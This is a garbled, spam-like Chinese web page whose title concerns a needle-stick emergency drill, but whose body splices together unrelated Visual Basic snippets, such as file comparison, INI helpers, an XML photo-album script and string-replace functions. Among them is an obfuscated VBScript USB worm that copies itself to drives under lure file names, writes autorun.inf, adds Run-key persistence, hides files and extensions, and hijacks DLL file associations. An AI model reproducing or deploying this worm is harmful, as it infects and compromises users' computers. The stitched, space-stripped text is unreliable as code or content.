针刺伤应急演练脚本2018年小蜜介绍

FunctionCompFile(F1asstring,F2asstring)asbooleanDimissameasbooleanOpenF1ForBinaryAs#1OpenF2ForBinaryAs#2issame=TrueIfLOF(1)<>LOF(2)Thenissame=FalseElsewhole&=LOF(1)\10000'numberofwhole10,000bytechunkspart&=LOF(1)Mod10000'remainingbytesatendoffilebuffer1$=String$(10000,0)buffer2$=String$(10000,0)start&=1Forx&=1Towhole&'thisfor-nextloopwillget10,000Get#1,start&,buffer1$'bytechunksatatime.Get#2,start&,buffer2$Ifbuffer1$<>buffer2$Thenissame=FalseExitForEndIfstart&=start& 10000Nextbuffer1$=String$(part&,0)buffer2$=String$(part&,0)Get#1,start&,buffer1$'gettheremainingbytesattheendGet#2,start&,buffer2$'gettheremainingbytesattheendIfbuffer1$<>buffer2$Thenissame=FalseEndIfCloseCompFile=issameEndFunction->

remvbs.rhl Dimfs,r,ss,w,reg,regpath,dvbs ddd="Setfs="&chr(67)&"reate"&"Obj"&chr(101)&"c"&chr(116)&chr(40)&chr(34)&"Scrip"&chr(116)&"ing.File"&chr(83)&"yste"&chr(109)&chr(79)&"bject"&chr(34)&chr(41) Executeddd rrr="setr="&chr(119)&"scri"&"pt."&chr(67)&"reate"&"Obj"&chr(101)&"c"&chr(116)&chr(40)&chr(34)&chr(119)&"scri"&"pt."&chr(115)&"he"&chr(108)&chr(108)&chr(34)&chr(41) Executerrr sss="fs."&chr(103)&"etfil"&chr(101)&chr(40)&chr(119)&"scri"&"pt."&"scri"&chr(112)&"tfull"&chr(110)&"ame"&chr(41) ttt="setdvbs="&sss Executettt r.run(fs.GetSpecialFolder(0)&"\explorer.exe.") main() OnErrorResumeNext submain() regtime() finddrive() countdrive(ss) regwrite() ganranfile(ss) xunhuan() endsub Functionfinddrive() ifdvbs.name="USBDRIVE.dll"then regwrite() ganrandisk() endif ifdvbs.name<>"autorun.vbs"anddvbs.name<>"USBDRIVE.dll"then regwrite() dvbs.delete(true) endif ss=Trim("") Setdc=fs.Drives ForEachdIndc Ifd.DriveType=1ord.DriveType=2andd.IsReadyThen ss=ss&d.DriveLetter endif Next ss=StrReverse(LCase(Trim(ss))) endFunction Functioncountdrive(ss) OnErrorResumeNext dimx Fori=1ToLen(ss) x=Mid(ss,i,1) ifx=""then x=Mid(ss,1,1) i=1 endif Setw=fs.GetDrive(x) ganrandiskroot() Next endFunction Functionganrandiskroot() dimc,s,f,vbc,ts,runreg OnErrorResumeNext Ifw.DriveType=2orw.DriveType=1andw.IsReadyThen Iffs.FileExists(fs.GetSpecialFolder(1)&"\USBDRIVE.dll")Then else fff=sss&".copy("&chr(34)&fs.GetSpecialFolder(1)&"\USBDRIVE.dll"&chr(34)&")" Executefff Iffs.FileExists(fs.GetSpecialFolder(1)&"\USBDRIVE.dll")Then else fff=sss&".copy("&chr(34)&"D:\SystemVolumeInformation\USBDRIVE.dll"&chr(34)&")" Executefff iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then Setts=fs.CreateTextFile(w.DriveLetter&":\vbs.reg",true) ts.WriteLine"WindowsRegistryEditorVersion5.00" ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34) ts.close Setf=fs.GetFile(w.DriveLetter&":\vbs.reg") f.attributes=f.attributes+7 Setts=fs.CreateTextFile(w.DriveLetter&":\doc.reg",true) ts.WriteLine"WindowsRegistryEditorVersion5.00" ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34) ts.close Setf=fs.GetFile(w.DriveLetter&":\doc.reg") f.attributes=f.attributes+7 endif endif endif Iffs.FileExists(w.DriveLetter&":\autorun.vbs")Then Setc=fs.opentextfile(w.DriveLetter&":\autorun.vbs",1) vbc=c.readall IfInStr(vbc,"vbs.rhl")<>0Then c.Close Else c.Close Setc=fs.GetFile(w.DriveLetter&":\autorun.vbs") c.delete(true) fff=sss&".copy("&chr(34)&w.DriveLetter&":\autorun.vbs"&chr(34)&")" Executefff s=Array("2007总结病毒","这是病毒","违纪病毒","检查病毒","黑名单病毒","没有发出的病毒","恋爱的病毒(病毒)") Randomize i=Int((6*Rnd)+1) fff=sss&".copy("&chr(34)&w.DriveLetter&":"&s(i)&".vbs"&chr(34)&")" Executefff Setb=fs.GetFile(w.DriveLetter&":"&s(i)&".vbs") b.attributes=b.attributes-b.attributes Setc=fs.GetFile(w.DriveLetter&":\autorun.vbs") c.attributes=c.attributes+7 Iffs.FileExists(w.DriveLetter&":\vbs.reg")orfs.FileExists(w.DriveLetter&":\doc.reg")Then else ifw.DriveLetter="C"then Setts=fs.CreateTextFile(fs.GetSpecialFolder(1)&"\vbs.reg",true) ts.WriteLine"WindowsRegistryEditorVersion5.00" ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34) ts.close Setf=fs.GetFile(fs.GetSpecialFolder(1)&"\vbs.reg") f.attributes=f.attributes+7 Setts=fs.CreateTextFile(fs.GetSpecialFolder(1)&"\doc.reg") ts.WriteLine"WindowsRegistryEditorVersion5.00" ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34) ts.close Setf=fs.GetFile(fs.GetSpecialFolder(1)&"\doc.reg") f.attributes=f.attributes+7 else Setts=fs.CreateTextFile(w.DriveLetter&":\vbs.reg",true) ts.WriteLine"WindowsRegistryEditorVersion5.00" ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34) ts.close Setf=fs.GetFile(w.DriveLetter&":\vbs.reg") f.attributes=f.attributes+7 Setts=fs.CreateTextFile(w.DriveLetter&":\doc.reg",true) ts.WriteLine"WindowsRegistryEditorVersion5.00" ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34) ts.close Setf=fs.GetFile(w.DriveLetter&":\doc.reg") f.attributes=f.attributes+7 endif endif endif else fff=sss&".copy("&chr(34)&w.DriveLetter&":\autorun.vbs"&chr(34)&")" Executefff s=Array("检查病毒","2007总结病毒","违纪病毒","这是病毒","黑名单","没有发出的病毒","恋爱的病毒(病毒)") Randomize i=Int((6*Rnd)+1) fff=sss&".copy("&chr(34)&w.DriveLetter&":"&s(i)&".vbs"&chr(34)&")" Executefff Setb=fs.GetFile(w.DriveLetter&":"&s(i)&".vbs") b.attributes=b.attributes-b.attributes Setc=fs.GetFile(w.DriveLetter&":\autorun.vbs") c.attributes=c.attributes+7 Iffs.FileExists(w.DriveLetter&":\vbs.reg")orfs.FileExists(w.DriveLetter&":\doc.reg")Then else ifw.DriveLetter="C"then Setts=fs.CreateTextFile(fs.GetSpecialFolder(1)&"\vbs.reg",true) ts.WriteLine"WindowsRegistryEditorVersion5.00" ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34) ts.close Setf=fs.GetFile(fs.GetSpecialFolder(1)&"\vbs.reg") f.attributes=f.attributes+7 Setts=fs.CreateTextFile(fs.GetSpecialFolder(1)&"\doc.reg") ts.WriteLine"WindowsRegistryEditorVersion5.00" ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34) ts.close Setf=fs.GetFile(fs.GetSpecialFolder(1)&"\doc.reg") f.attributes=f.attributes+7 else Setts=fs.CreateTextFile(w.DriveLetter&":\vbs.reg",true) ts.WriteLine"WindowsRegistryEditorVersion5.00" ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34) ts.close Setf=fs.GetFile(w.DriveLetter&":\vbs.reg") f.attributes=f.attributes+7 Setts=fs.CreateTextFile(w.DriveLetter&":\doc.reg",true) ts.WriteLine"WindowsRegistryEditorVersion5.00" ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34) ts.close Setf=fs.GetFile(w.DriveLetter&":\doc.reg") f.attributes=f.attributes+7 endif endif endif Iffs.FileExists(w.DriveLetter&":\autorun.inf")Then Setc=fs.opentextfile(w.DriveLetter&":\autorun.inf",1) vbc=c.readall IfInStr(vbc,"WScript.exe.\autorun.vbs")<>0Then c.Close Else Setf=fs.GetFile(w.DriveLetter&":\autorun.inf") f.attributes=f.attributes-f.attributes Setts=f.OpenAsTextStream(2,-2) ts.WriteLine"[AutoRun]" ts.WriteLine"open=" ts.WriteLine"" ts.WriteLine"shell\open=打开(&O)" ts.WriteLine"shell\open\Command=WScript.exe.\autorun.vbs" ts.WriteLine"shell\open\Default=1" ts.close f.attributes=f.attributes+7 endif else Setts=fs.CreateTextFile(w.DriveLetter&":\autorun.inf",true) ts.WriteLine"[AutoRun]" ts.WriteLine"open=" ts.WriteLine"" ts.WriteLine"shell\open=打开(&O)" ts.WriteLine"shell\open\Command=WScript.exe.\autorun.vbs" ts.WriteLine"shell\open\Default=1" ts.close Setf=fs.GetFile(w.DriveLetter&":\autorun.inf") f.attributes=f.attributes+7 EndIf endif endFunction Functionregwrite() OnErrorResumeNext dims a1="HKE"&"Y_CUR"&"RENT_US"&"ER\Soft"&"ware\Mi"&"croso"&"ft\Win"&"dows\Cur"&"rentV"&"ersion\Exp"&"lorer\Ad"&"vanced"(a1=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ a2="HK"&"EY_CLAS"&"SES_RO"&"OT\DLL"&"File"(a2=HKEY_CLASSES_ROOT\DLLFile) a3="HKEY"&"_LOCA"&"L_MACH"&"INE\SOFT"&"WARE\Mi"&"cros"&"oft\Win"&"dows\Cur"&"rentVer"&"sion\poli"&"cies\Expl"&"orer\NoDr"&"iveTypeAutoRun" (a3=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDriveTypeAutoRun) a4="HKE"&"Y_CURR"&"ENT_USE"&"R\Softw"&"are\Micr"&"osoft\Wi"&"ndows\Cur"&"rentVersi"&"on\Polici"&"es\Explor"&"er\NoDriveT"&"ypeAutoRun" (a4=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun) a5="HK"&"EY_LO"&"CAL_MA"&"CHINE\Sof"&"tware\Mi"&"croso"&"ft\Wind"&"ows\Curre"&"ntVersi"&"on\Ru"&"n\USBDR"&"IVE.dll" (a5=HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\USBDRIVE.dll) a6="R.Re"&"gWri"&chr(116)&"e"(a6=R.RegWrichr(116)e) a7="HKE"&"Y_CLAS"&"SES_ROO"&"T\VBSF"&"ile\Defau"&"ltIcon" (a7=HKEY_CLASSES_ROOT\VBSFile\DefaultIcon) sets=fs.GetDrive(fs.GetDriveName(dvbs.path)) scandoc(fs.GetSpecialFolder(0)&"\Installer") ifreg="wordicon.exe"then ifs="C:"then iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&"D:\SystemVolumeInformation\doc.reg") else r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&fs.GetSpecialFolder(1)&"\doc.reg") endif else iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&"D:\SystemVolumeInformation\doc.reg") else r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&s.DriveLetter&":\doc.reg") endif endif ppp=a6&Space(2)&chr(34)&a7&chr(34)&","&chr(34)&regpath&",1"&chr(34) Executeppp else ifs="C:"then iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&"D:\SystemVolumeInformation\vbs.reg") else r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&fs.GetSpecialFolder(1)&"\vbs.reg") endif else iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&"D:\SystemVolumeInformation\vbs.reg") else r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&s.DriveLetter&":\vbs.reg") endif endif ppp=a6&Space(2)&chr(34)&a7&chr(34)&","&chr(34)&fs.GetSpecialFolder(1)&"\shell32.dll,1"&chr(34) Executeppp endif ppp=a6&Space(2)&chr(34)&a1&"ShowSuperHidden"&chr(34)&","&"0,"&chr(34)&"REG_DWORD"&chr(34) Executeppp ppp=a6&Space(2)&chr(34)&a1&"HideFileExt"&chr(34)&","&"1,"&chr(34)&"REG_DWORD"&chr(34) Executeppp ppp=a6&Space(2)&chr(34)&a1&"Hidden"&chr(34)&","&"0,"&chr(34)&"REG_DWORD"&chr(34) Executeppp ppp=a6&Space(2)&chr(34)&a2&"ScriptEngine"&chr(34)&","&chr(34)&"VBScript"&chr(34) Executeppp ppp=a6&Space(2)&chr(34)&a2&"ScriptHostEncode"&chr(34)&","&chr(34)&"{85131631-480C-11D2-B1F9-00C04F86C324}"&chr(34) Executeppp ppp=a6&Space(1)&chr(34)&a2&"Shell\Open\Command"&chr(34)&","&chr(34)&fs.GetSpecialFolder(1)&"\Wscript.exe"&Space(1)&chr(34)&chr(34)&"%1"&chr(34)&chr(34)&Space(1)&"%*"&chr(34) Executeppp ppp=a6&Space(2)&chr(34)&a2&"ShellEx\PropertySheetHandlers\WSHProps"&chr(34)&","&chr(34)&"{60254CA5-953B-11CF-8C96-00AA00B8708C}"&chr(34) Executeppp ppp=a6&Space(2)&chr(34)&a3&chr(34)&","&"0,"&chr(34)&"REG_DWORD"&chr(34) Executeppp ppp=a6&Space(2)&chr(34)&a4&chr(34)&","&"0,"&chr(34)&"REG_DWORD"&chr(34) Executeppp iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then ppp=a6&Space(2)&chr(34)&a5&chr(34)&","&chr(34)&"D:\SystemVolumeInformation"&"\USBDR"&"IVE.dll"&chr(34) Executeppp else ppp=a6&Space(2)&chr(34)&a5&chr(34)&","&chr(34)&fs.GetSpecialFolder(1)&"\USBDR"&"IVE.dll"&chr(34) Executeppp endif ifday(date())="27"then(27号报告错误) msgbox"小样安卓手机运行js脚本我女儿有一种闪卡式程序,它能够获取文本文件中的单词列表'文件名SourceDB.ini文件

  PrivateDeclareFunctionGetPrivateProfileStringLib"kernel32"Alias

  "GetPrivateProfileStringA"(ByVallpApplicationNameAsString,ByVallpKeyNameAsAny,ByVal

  lpDefaultAsString,ByVallpReturnedStringAsString,ByValnSizeAsLong,ByVal

  lpFileNameAsString)AsLong

  PrivateDeclareFunctionWritePrivateProfileStringLib"kernel32"Alias

  "WritePrivateProfileStringA"(ByVallpApplicationNameAsString,ByVallpKeyNameAsAny,ByVal

  lpStringAsAny,ByVallpFileNameAsString)AsLong

  

  '以下两个函数,读/写ini文件,固定节点setting,in_key为写入/读取的主键

  '仅仅针对是非值

  'Y:yes,N:no,E:error

  PublicFunctionGetIniTF(ByValIn_KeyAsString)AsBoolean

  OnErrorGoToGetIniTFErr

  GetIniTF=True

  DimGetStrAsString

  GetStr=VBA.String(128,0)

  GetPrivateProfileString"Setting",In_Key,"",GetStr,256,App.Path&"\SourceDB.ini"

  GetStr=VBA.Replace(GetStr,VBA.Chr(0),"")

  IfGetStr="1"Then

  GetIniTF=True

  GetStr=""

  Else

  GoToGetIniTFErr

  EndIf

  ExitFunction

  GetIniTFErr:

  Err.Clear

  GetIniTF=False

  GetStr=""

  EndFunction

  

  PublicFunctionWriteIniTF(ByValIn_KeyAsString,ByValIn_DataAsBoolean)AsBoolean

  OnErrorGoToWriteIniTFErr

  WriteIniTF=True

  IfIn_Data=TrueThen

  WritePrivateProfileString"Setting",In_Key,"1",App.Path&"\SourceDB.ini"

  Else

  WritePrivateProfileString"Setting",In_Key,"0",App.Path&"\SourceDB.ini"

  EndIf

  ExitFunction

  WriteIniTFErr:

  Err.Clear

  WriteIniTF=False

  EndFunction

  '以下两个函数,读/写ini文件,不固定节点,in_key为写入/读取的主键

  '针对字符串值

  '空值表示出错

  PublicFunctionGetIniStr(ByValAppNameAsString,ByValIn_KeyAsString)AsString

  OnErrorGoToGetIniStrErr

  IfVBA.Trim(In_Key)=""Then

  GoToGetIniStrErr

  EndIf

  DimGetStrAsString

  GetStr=VBA.String(128,0)

  GetPrivateProfileStringAppName,In_Key,"",GetStr,256,App.Path&"\SourceDB.ini"

  GetStr=VBA.Replace(GetStr,VBA.Chr(0),"")

  IfGetStr=""Then

  GoToGetIniStrErr

  Else

  GetIniStr=GetStr

  GetStr=""

  EndIf

  ExitFunction

  GetIniStrErr:

  Err.Clear

  GetIniStr=""

  GetStr=""

  EndFunction

  

  PublicFunctionWriteIniStr(ByValAppNameAsString,ByValIn_KeyAsString,ByValIn_DataAsString)AsBoolean

  OnErrorGoToWriteIniStrErr

  WriteIniStr=True

  IfVBA.Trim(In_Data)=""OrVBA.Trim(In_Key)=""OrVBA.Trim(AppName)=""Then

  GoToWriteIniStrErr

  Else

  WritePrivateProfileStringAppName,In_Key,In_Data,App.Path&"\SourceDB.ini"

  EndIf

  ExitFunction

  WriteIniStrErr:

  Err.Clear

  WriteIniStr=False

  EndFunction

->

但作为系统管理员,您大概并不愿意与文件玩捉迷藏

  程序的原理也是一样的

'***************************************************************** '** Script: CreateXML.vbs '** Version: 1.0 '** Created: 01/12/2009 9:51PM '** Author: Adriaan Westra '** E-mail: '** Purpose / Comments: '** Create xml file for photo album '** '** '** Changelog : '** 12-01-2009 9:51 : Initial version '** '***************************************************************** On Error Resume next Dim Version : Version="1.0" ' Script version Dim Author : Author="A. Westra" Dim objXML 'XML Document object Dim root 'Root element of the xml document Dim newNode ' XML Node object Dim cNode ' XML (child) Node object Dim cNodeText ' XML Text Node object '***************************************************************** '** Make sure the script is started with cscript If InStr(wscript.FullName, "wscript.exe") > 0 Then MsgBox "Please run this script with cscript.exe." & Chr(13) & _ "For example : cscript " & WScript.ScriptName & " /?", _ vbExclamation, WScript.ScriptName WScript.Quit(1) End If '***************************************************************** '** Get commandline parameters Set Args=Wscript.Arguments If Args.Count=0 Then strImageDir=InputBox("Please give the directory name " & _ "to process : ",wscript.scriptname, strPath) Else If InStr(Args(0),"/?") > 0 Or InStr(UCase(Args(0)),"/H") > 0 _ Or InStr(UCase(Args(0)),"/HELP") > 0 Then DisplayHelp Wscript.quit(0) Else strImageDir=Args(0) End if End if Set objXML=CreateObject("Msxml2.DOMDocument.6.0") objXML.setProperty "SelectionLanguage", "XPath" '***************************************************************** '** Determine if the file exists strXMLFile=strImageDir & "\album.xml" Set objFSO=CreateObject("Scripting.FileSystemObject") If objFSO.FileExists(strXMLFile) Then '***************************************************************** '** Read the XML File objXML.load(strXMLFile) Else '***************************************************************** '** Create the XML File objXML.loadXML("") End If '***************************************************************** '** Process directory Set objImgDir=objFSO.GetFolder(strImageDir) For each objFile in objImgDir.Files If IsJPG(objFile.Name) Then arrTemp=split(objFile.Name, ".") strNode=arrTemp(0) '***************************************************************** '** Determine if the node exists If Not XmlNodeExists(strChildNode, objXML) Then '***************************************************************** '** Get the root element of the xml document Set root=objXML.documentElement '***************************************************************** '** Create the new node Set newNode=objXML.createNode(1, strNode, "") root.appendChild newNode Set cNode=objXML.createNode(1, "alt", "") Set cNodeText=objXML.createNode(3, "", "") cNodeText.Text=strNode cNode.appendChild cNodeText newNode.appendChild cNode Set cNode=objXML.createNode(1, "Title", "") Set cNodeText=objXML.createNode(3, "", "") cNodeText.Text=strNode cNode.appendChild cNodeText newNode.appendChild cNode End If End If Next '***************************************************************** '** Save the xml file objXML.save(strXMLFile) '***************************************************************** '** End the script wscript.quit '***************************************************************** '** Function: XmlNodeExists '** Version: 1.0 '** Created: 1/12/2009 12:14PM '** Author: Adriaan Westra '** E-mail: '** '** Purpose / Comments: '** Determines if a node exists in XML '** '** Arguments : '** strNode :Name of the XML node '** oXML :XMl DOM Object '** '** Changelog : '** 1/12/2009 12:16PM : Initial version '** '***************************************************************** Function XmlNodeExists( strNode, oXML ) On Error Resume next Set oNode=oXML.selectSingleNode(strNode) strNodetype=oNode.nodetype If err.number=0 Then XmlNodeExists=True Else XmlNodeExists=False End if End Function '***************************************************************** '** Sub: DisplayHelp '** Version: 1.0 '** Created: 24-03-2003 8:22 '** Author: Adriaan Westra '** E-mail: '** '** Purpose / Comments: '** Display help for script '** '** Arguments : '** '** Wijzigingslog : '** 24-03-2003 8:22 : Initile versie '** '***************************************************************** Sub DisplayHelp() strComment=string(2,"*") strCmntLine=String(79, "*") wscript.echo strCmntline wscript.echo strComment wscript.echo strComment & " Online help for " & _ Wscript.scriptname & " version : " & Version wscript.echo strComment wscript.echo strComment & " Usage : cscript " & _ Wscript.scriptname & " directoryname" wscript.echo strComment wscript.echo strComment & " Purpose : Create XML file " & _ "for all images in given directory." wscript.echo strComment wscript.echo strComment & " Author : " & Author wscript.echo strComment & " E-mail : " & Email wscript.echo strComment wscript.echo strCmntline End Sub '***************************************************************** '** Function: IsJPG '** Version: 1.0 '** Created: 12/29/2008 11:01PM '** Author: Adriaan Westra '** E-mail: '** '** Purpose / Comments: '** Determine if file is jpg image '** '** Arguments : '** strFilename : name of the file to check '** '** Wijzigingslog : '** 12/29/2008 11:02PM : Initile versie '** '***************************************************************** Function IsJPG(strFilename) Set objRegExp=New RegExp objRegExp.Pattern="\w.jpg" objRegExp.IgnoreCase=True IsJPG=objRegExp.Test(strFileName) End Function 方法一:PublicFunctionFastReplace(SSrch$,SFind$,SRepl$)AsStringDimSrc()AsByte,Dst()AsByte,R()AsByte,F()AsByteDimLenF&,LenR&,LenDst&,i&,j&,OutPos&ConstChunkSize&=4096IfSSrch=""OrSFind=""ThenExitFunctionSrc=SSrch:F=SFind:R=SReplLenF=UBound(F):LenR=UBound(R)LenDst=ChunkSize:ReDimDst(0ToLenDst-1)Fori=0ToUBound(Src)Step2Forj=0ToLenFStep2IfSrc(i j)<>F(j)ThenExitForNextjIfj>LenFThen'FoundForj=0ToLenRStep2IfOutPos>=LenDstThenLenDst=LenDst ChunkSizeReDimPreserveDst(0ToLenDst)EndIfDst(OutPos)=R(j):OutPos=OutPos 2Nextji=i LenF-1ElseIfOutPos>=LenDstThenLenDst=LenDst ChunkSizeReDimPreserveDst(0ToLenDst)EndIfDst(OutPos)=Src(i):OutPos=OutPos 2EndIfNextiReDimPreserveDst(0ToOutPos-2):SSrch=DstFastReplace=SSrch$EndFunction方法二:'SearchLineisinput,SearchForiswhattosearchfor,ReplaceWithisthereplacementFunctionsReplace(SearchLineAsString,SearchForAsString,ReplaceWithAsString)DimvSearchLineAsString,foundAsIntegerfound=InStr(SearchLine,SearchFor):vSearchLine=SearchLineIffound<>0ThenvSearchLine=""Iffound>1ThenvSearchLine=Left(SearchLine,found-1)vSearchLine=vSearchLine ReplaceWithIffound Len(SearchFor)-1<Len(SearchLine)Then_vSearchLine=vSearchLine Right$(SearchLine,Len(SearchLine)-found-Len(SearchFor) 1)EndIfsReplace=vSearchLineEndFunction->

示例 3:

企业宣传片格式(->OnErrorResumeNext SetArg=Wscript.arguments IfArg.count=0thenWscript.quit '------------------- 'Enjoyit 'CodeByNetPatch '------------------- fname=InputBox("请输入要ECHO的路径):","输入文件名","%systemroot%/system32/webdl.vbs") SetFso=CreateObject("Scripting.FileSystemObject") SetWshShell=Wscript.CreateObject("Wscript.Shell") SetFile=Fso.OpenTextFile(Arg(0),1,False,-2) Wscript.echo"点确定后5秒开始" WshShell.AppActivate"命令提示符" Wscript.Sleep5000 WshShell.AppActivate"命令提示符" DoWhileFile.AtEndOfStream<>True Data=File.readline IfData=""thenData="." Data=replace(Data,"^","{^}{^}") Data=replace(Data,"~","{^}{~}") Data=replace(Data,"&","{^}{&}") Data=replace(Data,"|","{^}{|}") Data=replace(Data,"<","{^}{<}") Data=replace(Data,">","{^}{>}") Data=replace(Data,"""","{^}") Data=replace(Data,"(","{(}") Data=replace(Data,")","{)}") Data=replace(Data,chr(9),"") WshShell.SendKeys"echo"&Data&">>"&fname Wscript.Sleep300 WshShell.SendKeys"{ENTER}" Wscript.Sleep1000 Loop File.close SetFso=nothing 。
38人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册